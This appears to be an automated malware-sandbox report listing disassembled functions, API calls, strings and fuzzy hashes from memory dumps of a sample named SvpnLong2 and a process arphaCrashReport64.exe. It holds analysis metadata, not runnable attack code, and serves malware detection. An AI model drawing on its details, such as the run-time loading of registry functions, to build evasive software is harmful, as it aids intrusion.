_getptd.LIBCMT ref: 02161292

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction ID: 5059ac2c4da863e7d8f3bfc159feb2c0a9721cf366821966ef0725815b1c9879
Opcode Fuzzy Hash: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction Fuzzy Hash: A7312F33340645D9CA61EB65D48827D77A6FB85FD8F568115CE6D43760CB78C0A6CF40

Function 01E62A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E62A9F
_invalid_parameter_noinfo.LIBCMT ref: 01E62AAA
_getptd.LIBCMT ref: 01E62AD0
free.LIBCMT ref: 01E62B3B

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: 99287267bb7e5e2cae8f8f633b79772d3213f25d718212b479c71d32ff7d8307
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 9621C730648F4A8FD744FFAC984963EB7D4EBA8391F40062ED95EC32A1DB70D8418782

Function 0215EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0215EE1B
_invalid_parameter_noinfo.LIBCMT ref: 0215EE27
_errno.LIBCMT ref: 0215EE51
_errno.LIBCMT ref: 0215EEB3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 365d6d7b69995de7c9e64a23f79847447ab7918e71088b205a8b7b9c0c5cfb5c
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: 03215B72F687E0CAE7098A78D45035E6B93E355384F2980E2DF7687342E775CA4ACB41

Function 02155B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 02155B36

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_lock.LIBCMT ref: 02155B64
free.LIBCMT ref: 02155B9A
_amsg_exit.LIBCMT ref: 02155BD3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: 23641411e24bbacf930bb62bc8e11ad59c172e6b67e6e6623cd36c0d628c9b01
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: 89117976255FA4D6EBA99F11E4887A87373F788B84F8840A6EE6E07354DF38C050CB01

Function 021547F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,02154382), ref: 02154803
RtlDeleteCriticalSection.NTDLL ref: 02159A43
free.LIBCMT ref: 02159A4C
RtlDeleteCriticalSection.NTDLL ref: 02159A73

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: 255d8fe39fefe9c7b891e01a0e5d73b87abccaada13197ec6da293876fd4bf17
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: DD11CE32A85A90CBEB158F21F8483597370F795BA8F4C4651EE6A02264CF38C485C751

Function 0215303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 02153071
RtlExitUserThread.NTDLL ref: 02153079
GetCurrentThreadId.KERNEL32 ref: 02153080
_freefls.LIBCMT ref: 021530B1

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction ID: 954abd6029f180bff63110279534532f5e1b1b46432f5a589cbc0e90c973c3e7
Opcode Fuzzy Hash: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction Fuzzy Hash: 88F01739681B65CEDF14AFB1A44C35C22A6AB09B84F1544B98EBD87314EF38C4948750

Function 02142A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 02142A6F
CreateThread.KERNEL32 ref: 02142A95
WaitForSingleObject.KERNEL32 ref: 02142AA6
CloseHandle.KERNEL32 ref: 02142AB1

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: f01937605cb7a2b0fae736a364ac242ca9175669a43cb60734c89ec498391897
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: C0F0F932618A8083E714DF75B85979F77A2F3D5750F198229FA9A46B68CF3DC099CA00

Function 021563FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 02156402

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_getptd.LIBCMT ref: 02156422
_lock.LIBCMT ref: 02156435
_amsg_exit.LIBCMT ref: 02156463

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: fb1557889698a2bc657376919eaee2acb4bfa924bbeca982f78109cb2e963496
Instruction ID: fcbb3e484ae45b602f1ef9e6bc9c0cd99c2f931221c42d259e23d1c42c9e44f4
Opcode Fuzzy Hash: fb1557889698a2bc657376919eaee2acb4bfa924bbeca982f78109cb2e963496
Instruction Fuzzy Hash: C1F0F4256915A4C9EF54EF51C450BE82366FB98B44F9902B8CE7D0B394DF288491C751

Function 021426D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 02142703
CancelIo.KERNEL32 ref: 0214270D
closesocket.WS2_32 ref: 0214271D
SetEvent.KERNEL32 ref: 0214272A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: 99cdada37e0082ebbab4ee57420eb0e3a6167161e3efa222955906aadc039a88
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 9EF01736204A4197E7118F2AE55839DB370F798BA4F600326DBA943AE4CF79C4A9CB00

Function 01E71A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E71AA0

Strings

csm, xrefs: 01E71BD7
csm, xrefs: 01E71ACD

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: e5be11f683e5c6357e9cd7855abc08baddd7cfbea38a3c76d4ac4f096f66e827
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 24518B30218B498FEB689F6C908537DBBE1FB58215F54226DE98EC7651DB30D881C786

Function 021620C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 021620E8

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

Strings

csm, xrefs: 02162115
csm, xrefs: 0216221F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: e63bd895827da3e0927625ab7d4804786b043880adeac9ec2261550b149f1fb4
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: D251BC32288780CACB289F26D44877D77A1F345BD9F088129DFA957B58CB38D4B1CB41

Function 0215D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 02153334: _getptd.LIBCMT ref: 02153346

_errno.LIBCMT ref: 0215D84C
_invalid_parameter_noinfo.LIBCMT ref: 0215D857

Strings

cmd.exe, xrefs: 0215D82E

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction ID: b608e23c8d0cc4e679b7985c479926986ee76f7d4a93583e513a61c3abb3602e
Opcode Fuzzy Hash: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction Fuzzy Hash: BD21F8226547E4C2E7659B15B45022AA751E381FE8B1882F2EEFA07B98DB2CC045CB01

Function 0216620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 021662CF

Strings

csm, xrefs: 0216628B
csm, xrefs: 02166232

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: 963bf74544d03df75a34e08cb28a3e538486522e1a3b22f0e92dad4066fca1fc
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: A221AC77140B94CADB248F65C4883AC3B79F358BADF861219EA4D4BB58CB79C4E4C784

Function 0216630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 02160B80: _getptd.LIBCMT ref: 02160B8D
Part of subcall function 02160B80: _getptd.LIBCMT ref: 02160BA0

_getptd.LIBCMT ref: 0216636C
_getptd.LIBCMT ref: 0216637F

Strings

csm, xrefs: 0216632B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 2559d26642461699acd73fec8e6944da1680c87c5b9b2f132ae6417cc30b6144
Instruction ID: 5d1e7a171c326b7b22d44bb39acb1f67347b0872a0f63e786fa3cf2b95d7352c
Opcode Fuzzy Hash: 2559d26642461699acd73fec8e6944da1680c87c5b9b2f132ae6417cc30b6144
Instruction Fuzzy Hash: CA017826181281CACF34AF32C8583BD3368FB48B59F5D4125CE6D8B704DB35C9A4CB04

Function 0215FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0215FC36

Part of subcall function 0215581C: RaiseException.KERNEL32 ref: 02155897

std::exception::exception.LIBCMT ref: 0215FC70

Part of subcall function 02153854: std::exception::operator=.LIBCMT ref: 02153870

Strings

regular expression error, xrefs: 0215FC20

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction ID: 76194591f482568a8324d038a1d3a48db216f2ba062dcc195519ab27955dd4bb
Opcode Fuzzy Hash: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction Fuzzy Hash: 75F08176608B4AE6CB14CF55F5843897361F358388F504411DB9D47B28DB78C6A9CB40

Function 0214F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0214F166
wsprintfW.USER32 ref: 0214F184

Part of subcall function 0214EF20: FindFirstFileW.KERNEL32 ref: 0214EFF0

Strings

%s%s, xrefs: 0214F175

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: 3084dc4b64192912b4ac598f00f8f60031d5f95227920344201119a47f06daa2
Instruction ID: 28291c4793477c3f4618ece65b352e374445c60ebf7d0184ef935296fb9cd606
Opcode Fuzzy Hash: 3084dc4b64192912b4ac598f00f8f60031d5f95227920344201119a47f06daa2
Instruction Fuzzy Hash: B101BF32214A8581EA209B25FD9D7AA6361F7D8B88F455112DA8D47A18DF3CC149CB40

Function 01E6D7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E6D7B6
__doserrno.LIBCMT ref: 01E6D7C1

Strings

M, xrefs: 01E6D7B0

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction ID: cb36d0fd34ca8e8e36f5d7ba5c6b7eb6c3db0da2e1da44f8f4c7e2ff5de9cf17
Opcode Fuzzy Hash: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction Fuzzy Hash: 58E04F7224C64A4EE7486F54E4423BC37C0FB532B5F80615AD2AA46591DA7B50064746

Function 0215DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0215DDFE
__doserrno.LIBCMT ref: 0215DE09

Strings

M, xrefs: 0215DDF8

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: bef018dd93b4693aea0e923226f2c4608fc2f15fde579d0668000115d27f6d06
Instruction ID: c8e4fcfac4a14bd776e8b79eade11547e58f66f021cc5caefe84ad0567521a0c
Opcode Fuzzy Hash: bef018dd93b4693aea0e923226f2c4608fc2f15fde579d0668000115d27f6d06
Instruction Fuzzy Hash: 73E0EC735405948DF353AF64F84135D6A91A791378F8182929F790A6C0DB7C44C78B11

Function 01E55B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 01E55B43

Part of subcall function 01E636E0: _errno.LIBCMT ref: 01E63700

free.LIBCMT ref: 01E55B6B
free.LIBCMT ref: 01E55B85
free.LIBCMT ref: 01E55BB3

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: 74b45f1b1f71d73e2b853bd01c2b11d6b575d20919a234dbea150b910b5ea3c3
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 9B216F31258E4A5FCBE5EF5DC4A8B2D73E1FFA8250B94256D890EC3251DE30E8868B41

Function 02146150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0214618B

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

free.LIBCMT ref: 021461B3
free.LIBCMT ref: 021461CD
free.LIBCMT ref: 021461FB

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction ID: e997efb5254567c823a59cd6c456b463604ac48bd3243c81a8eaee9330f3c9cd
Opcode Fuzzy Hash: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction Fuzzy Hash: 1B118E32781B8485CA16AF12EA5036DA335FB9AFD8F0C6462DFAE07B19DF34D0518740

Analysis Process: arphaCrashReport64.exePID: 7576, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	47.6%
Signature Coverage:	0%
Total number of Nodes:	897
Total number of Limit Nodes:	37

Executed Functions

Function 00007FF73D1C4FE0 Relevance: 65.1, APIs: 35, Strings: 2, Instructions: 398
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32 ref: 00007FF73D1C5028
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5059
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5094
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C50F1

Part of subcall function 00007FF73D1C2750: _CxxThrowException.LIBVCRUNTIME ref: 00007FF73D1C276C

SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C50FE
LocalFree.KERNEL32 ref: 00007FF73D1C511C
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5122
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5153
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5165
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5182
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C519D
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C51AF
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C51CC
EnterCriticalSection.KERNEL32 ref: 00007FF73D1C5213
GetCurrentThreadId.KERNEL32 ref: 00007FF73D1C5219
LeaveCriticalSection.KERNEL32 ref: 00007FF73D1C5296
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C529C

Strings

arpha_winlocaldumpexe, xrefs: 00007FF73D1C507F
arpha_winlocaldumpdir, xrefs: 00007FF73D1C50BA

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Local$DumpWindow$CriticalSection$ArgvCommandCurrentEnterExceptionFreeLeaveLineThreadThrow
String ID: arpha_winlocaldumpdir$arpha_winlocaldumpexe
API String ID: 1478015506-3845740607
Opcode ID: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction ID: 4ed4c2adf46d93df6214442e4dd25f4122dbe3264875dbe0b4a50216363ec95a
Opcode Fuzzy Hash: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction Fuzzy Hash: 66029232A0CA4BA3EB10EFA5E4541ADB3A1FB89B84F814135DA4E437A9EF3CD544D710

Function 00000217793814C0 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000021779381546
GetProcAddress.KERNEL32 ref: 0000021779381559
GetProcAddress.KERNEL32 ref: 000002177938156C
GetProcAddress.KERNEL32 ref: 0000021779381581
GetProcAddress.KERNEL32 ref: 0000021779381591
GetProcAddress.KERNEL32 ref: 00000217793815A1
RegOpenKeyExA.KERNELBASE ref: 00000217793815CC
lstrcpy.KERNEL32 ref: 0000021779381771
FreeLibrary.KERNEL32 ref: 0000021779381796

Strings

RegEnumKeyExA, xrefs: 0000021779381587
%08X, xrefs: 000002177938171E
RegOpenKeyExA, xrefs: 0000021779381562
ADVAPI32.dll, xrefs: 000002177938153F
RegEnumValueA, xrefs: 0000021779381577
RegQueryValueExA, xrefs: 000002177938154F
RegCloseKey, xrefs: 0000021779381597

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA
API String ID: 73907543-2913591164
Opcode ID: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction ID: a2efc57c1a55a94f6fe82eed6c722e1d5600ba41c21aa65c495add33f4c586e4
